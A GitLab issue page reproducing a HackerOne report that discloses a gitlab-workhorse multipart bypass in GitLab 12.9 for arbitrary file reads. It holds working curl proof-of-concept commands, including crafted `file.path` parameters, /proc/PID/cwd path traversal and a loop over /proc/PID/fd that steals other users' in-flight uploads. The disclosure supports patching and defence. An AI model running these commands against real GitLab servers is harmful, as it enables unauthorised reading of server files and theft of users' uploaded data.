Skip to content

gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read

HackerOne report #850447 by vakzz on 2020-04-15, assigned to @vdesousa:

Summary

Extracted from https://hackerone.com/reports/835455#activity-7672566

While testing and looking at the patch for the nuget package workhorse bypass (#209080 (closed) I think) I came across a more widespread bypass:

# create test file on gitlab server  
echo hello > /tmp/ggg; sudo chown git:git /tmp/ggg

# attacker  
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"

{"message":"201 Created"}  

Using [package] as the field name causes the [@]rewritten_fields to contain:

{
  "rewritten_fields": {  
    "[package]": "/var/opt/gitlab/gitlab-rails/shared/packages/tmp/uploads/lala.txt539589799"  
  },  
  "iss": "gitlab-workhorse"  
}

This is then used parsed_field = Rack::Utils.parse_nested_query(field) which ends up creating the hash {"package"=>nil} (same as package would return). This passes the validation, but the Multipart::Handler will then use the query params as they match instead of the payload that workhorse sends through.

This also allows for any file in the following to be accessed:

       def allowed_paths  
          [  
            ::FileUploader.root,  
            Gitlab.config.uploads.storage_path,  
            JobArtifactUploader.workhorse_upload_path,  
            File.join(Rails.root, 'public/uploads/tmp')  
          ]  
        end  

This could be done anywhere that accelerated uploads, eg the UploadsController or uploading a wiki file.

Using the wiki api removes the restriction that the file needs to be owned by git due to file_content: attrs[:file].read happening instead of moving the original file:

echo hello > /tmp/ggg; sudo chown root:root /tmp/ggg

$ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'

{"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}  

It's also fairly easy to steal incoming files tmp files that are currently opened in rails by:

  1. Determine a valid PID by looping over /proc/PID until a cwd is found and readable by git (eg the unicorn worker will have /proc/19606/cwd -> /var/opt/gitlab/gitlab-rails/working) and traverse to a valid upload path:

$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19601/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
500
$ curl -s -o /dev/null -w "%{http_code}\n" -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/cwd/../../../../../opt/gitlab/embedded/service/gitlab-rails/public/422.html' -F '[file]=@/tmp/lala.txt'
201
```

  1. Using this pid, use /proc/PID/fd/XX as the file.path (looking at my server a fd of 44 was the used pretty consistently for tmp files) and run it in a loop:

$ while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done
```

  1. Upload a bunch of things, eventually a file will be stolen:

{"file_name":"image.png115893730","file_path":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","branch":"master","link":{"url":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","markdown":"image.png115893730"}}
```

Steps to reproduce

  1. create a new project
  2. create a wiki page
  3. create a test file on the gitlab server: echo hello > /tmp/ggg;
  4. create a dummy file on the attackers server echo unused > /tmp/lala.txt
  5. Upload a wiki file using the crafted params
    bash $ curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'` {"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
  6. paste the markdown into the wiki page and download the file

Impact

  • read known files in ::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')
  • read unknown inflight files by using the symlinks in /proc/PID/fd/XX belonging to other users.

Examples

What is the current bug behavior?

An attacker can specify file.* params and have gitlab believe they are valid and signed

What is the expected correct behavior?

Only params from the workhorse should be valid

Output of checks

Results of GitLab environment info

System information  
System:     Ubuntu 18.04  
Proxy:      no  
Current User:   git  
Using RVM:  no  
Ruby Version:   2.6.5p114  
Gem Version:    2.7.10  
Bundler Version:1.17.3  
Rake Version:   12.3.3  
Redis Version:  5.0.7  
Git Version:    2.24.1  
Sidekiq Version:5.2.7  
Go Version: unknown

GitLab information  
Version:    12.9.3-ee  
Revision:   7c13691fb8e  
Directory:  /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter: PostgreSQL  
DB Version: 10.12  
URL:        http://gitlab-vm.local  
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git  
SSH Clone URL:  git@gitlab-vm.local:some-group/some-project.git  
Elasticsearch:  no  
Geo:        no  
Using LDAP: no  
Using Omniauth: yes  
Omniauth Providers:

GitLab Shell  
Version:    12.0.0  
Repository storage paths:  
- default:  /var/opt/gitlab/git-data/repositories  
GitLab Shell path:      /opt/gitlab/embedded/service/gitlab-shell  
Git:        /opt/gitlab/embedded/bin/git  

Impact

  • read known files in ::FileUploader.root, Gitlab.config.uploads.storage_path, JobArtifactUploader.workhorse_upload_path, File.join(Rails.root, 'public/uploads/tmp')
  • read unknown inflight files by using the symlinks in /proc/PID/fd/XX belonging to other users.